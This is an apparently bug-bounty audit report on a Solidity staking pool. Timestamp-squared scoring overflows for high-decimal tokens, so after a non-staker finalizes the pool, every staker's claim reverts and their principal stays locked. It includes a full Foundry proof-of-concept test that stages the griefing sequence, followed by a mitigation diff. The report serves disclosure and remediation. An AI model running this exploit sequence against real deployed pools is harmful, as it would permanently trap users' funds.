FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Timestamp-squared raw-unit math can permanently lock all staker principal in high-decimal token pools ##

Author Revealed upon completion

Description

Root + Impact

ConfidencePool calculates k=2 scores using checked uint256 products over raw token balances
and absolute Unix timestamps. A standard high-decimal ERC20 can therefore admit a stake that is
safe when deposited and when the risk window opens, but overflows at the later expiry timestamp.
After a zero-stake account mechanically finalizes the pool, all real staker claims revert and the
entire principal plus bonus is permanently trapped.

Description

The final Math.mulDiv does not protect the earlier products:

function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
@> uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
@> uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}

For riskStart < expiry, choose a raw stake in this interval:

MAX_UINT256 / expiry^2 < rawStake <= MAX_UINT256 / riskStart^2

The risk window opens safely. Any account can then contribute one raw token unit so
snapshotTotalBonus != 0. At expiry, a caller with no stake can execute claimExpired(); it sets
outcome = EXPIRED and claimsStarted = true, then returns before _bonusShare(). Every staker's
later claim evaluates expiry * expiry * rawStake and reverts.

Recovery is unavailable: withdraw() rejects a resolved outcome, claimsStarted prevents
moderator re-flagging, and sweepUnclaimedBonus() reserves all outstanding principal and bonus.
The same unsafe timestamp-squared representation also exists in _markRiskWindowStart(),
_clampUserSums(), and stake().

Risk

Likelihood

  • Occurs when governance allowlists a standard ERC20 whose raw-unit scale permits balances above the timestamp-squared capacity.

  • Occurs when aggregate stake falls inside the safe-earlier/unsafe-at-expiry interval.

  • Occurs when any account contributes at least one raw bonus unit before permanent-lock finalization.

  • Occurs when the token otherwise follows standard ERC20 transfer semantics; no fee-on-transfer, rebasing, or callbacks are required.

  • Occurs when the allowlisted token uses an uncommon raw-unit scale, which is why likelihood is Low.

Impact

  • All affected stakers permanently lose access to principal and earned bonus.

  • No normal pool entry point can recover the reserved balance after mechanical finalization.

  • The maximum loss is the complete token balance of each affected pool.

Proof of Concept

Use the primary PoC embedded below. If the reviewer wants to run it, save the code as test/poc/CodexRebuilt_20260712_RawScoreOverflowLocksClaims.t.sol in the target repository and run:

forge test --match-contract CodexRebuilt_20260712_RawScoreOverflowLocksClaimsTest -vvv

Observed at commit 58e8ba4ce3f3277866e4926f3140e597f9554a1e:

[PASS] testOneRawBonusCanMakeEveryClaimOverflowAfterFinalization()
1 passed; 0 failed; 0 skipped

The PoC proves that a one-unit bonus activates the unsafe score path, a non-staker finalizes
without evaluating it, all staker claims then overflow, all tokens remain in the clone, bonus sweep
fails, withdrawal fails, and moderator correction fails. The active-risk observation overflow variant is supporting coverage for the same root cause and is not a separate finding.

Full Primary PoC Code

File: CodexRebuilt_20260712_RawScoreOverflowLocksClaims.t.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, stdError} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract CodexRebuilt_20260712_WideUnitToken is ERC20 {
constructor() ERC20("Wide Unit Standard Token", "WUST") {}
function decimals() public pure override returns (uint8) {
return 60;
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract CodexRebuilt_20260712_RawScoreOverflowLocksClaimsTest is Test {
uint256 internal constant START = 1_850_000_000;
address internal constant SCOPE_ACCOUNT = address(0xBEEFCAFE);
address internal sponsor = makeAddr("rebuilt-overflow-sponsor");
address internal moderator = makeAddr("rebuilt-overflow-moderator");
address internal recovery = makeAddr("rebuilt-overflow-recovery");
address internal staker = makeAddr("rebuilt-overflow-staker");
address internal griefer = makeAddr("rebuilt-overflow-griefer");
CodexRebuilt_20260712_WideUnitToken internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreement;
ConfidencePool internal pool;
function setUp() external {
vm.warp(START);
token = new CodexRebuilt_20260712_WideUnitToken();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreement = new MockAgreement(sponsor);
agreement.setContractInScope(SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(address(agreement), true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ConfidencePoolFactory factory = ConfidencePoolFactory(
address(
new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(address(safeHarborRegistry), address(implementation), moderator)
)
)
)
);
factory.setStakeTokenAllowed(address(token), true);
address[] memory accounts = new address[](1);
accounts[0] = SCOPE_ACCOUNT;
vm.prank(sponsor);
pool = ConfidencePool(
factory.createPool(address(agreement), address(token), START + 31 days, 1, recovery, accounts)
);
}
function testOneRawBonusCanMakeEveryClaimOverflowAfterFinalization() external {
uint256 riskStart = START + 1 days;
uint256 expiry = pool.expiry();
uint256 capAtRiskStart = type(uint256).max / (riskStart * riskStart);
uint256 capAtExpiry = type(uint256).max / (expiry * expiry);
assertGt(capAtRiskStart, capAtExpiry, "risk-start and expiry caps must differ");
// Pick a raw stake that is safe when the risk window opens, but unsafe when T=expiry.
uint256 rawStake = capAtExpiry + ((capAtRiskStart - capAtExpiry) / 2);
assertGt(rawStake, capAtExpiry, "claim-time score must overflow");
assertLe(rawStake, capAtRiskStart, "risk-window opening must remain safe");
token.mint(staker, rawStake);
vm.startPrank(staker);
token.approve(address(pool), rawStake);
pool.stake(rawStake);
vm.stopPrank();
vm.warp(riskStart);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
// The attacker pays the smallest possible standard-token amount solely to bypass the
// snapshotTotalBonus == 0 short circuit in _bonusShare().
token.mint(griefer, 1);
vm.startPrank(griefer);
token.approve(address(pool), 1);
pool.contributeBonus(1);
vm.stopPrank();
vm.warp(expiry);
// A non-staker can finalize EXPIRED without touching the overflowing score path.
vm.prank(griefer);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertTrue(pool.claimsStarted(), "mechanical finality is now latched");
// The real staker's payout path now always evaluates T*T*rawStake and reverts.
vm.prank(staker);
vm.expectRevert(stdError.arithmeticError);
pool.claimExpired();
assertEq(pool.eligibleStake(staker), rawStake, "principal accounting remains trapped");
assertEq(token.balanceOf(address(pool)), rawStake + 1, "all tokens remain in the clone");
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.sweepUnclaimedBonus();
vm.prank(staker);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.withdraw();
vm.prank(moderator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
}
}

Recommended Mitigation

Refactor scoring to use bounded relative durations rather than absolute timestamp squares. As a
minimal guard for the current representation, cap aggregate raw stake against the worst-case
intermediates before accepting a deposit:

diff --git a/src/ConfidencePool.sol b/src/ConfidencePool.sol
@@
+error ScoreCapacityExceeded();
@@ function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
+
+ uint256 maxTotalStake = type(uint256).max / (2 * uint256(expiry) * uint256(expiry));
+ if (totalEligibleStake > maxTotalStake || received > maxTotalStake - totalEligibleStake) {
+ revert ScoreCapacityExceeded();
+ }

Apply the same invariant to every timestamp-squared path and add boundary tests covering a one-unit
bonus and non-staker finalization.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!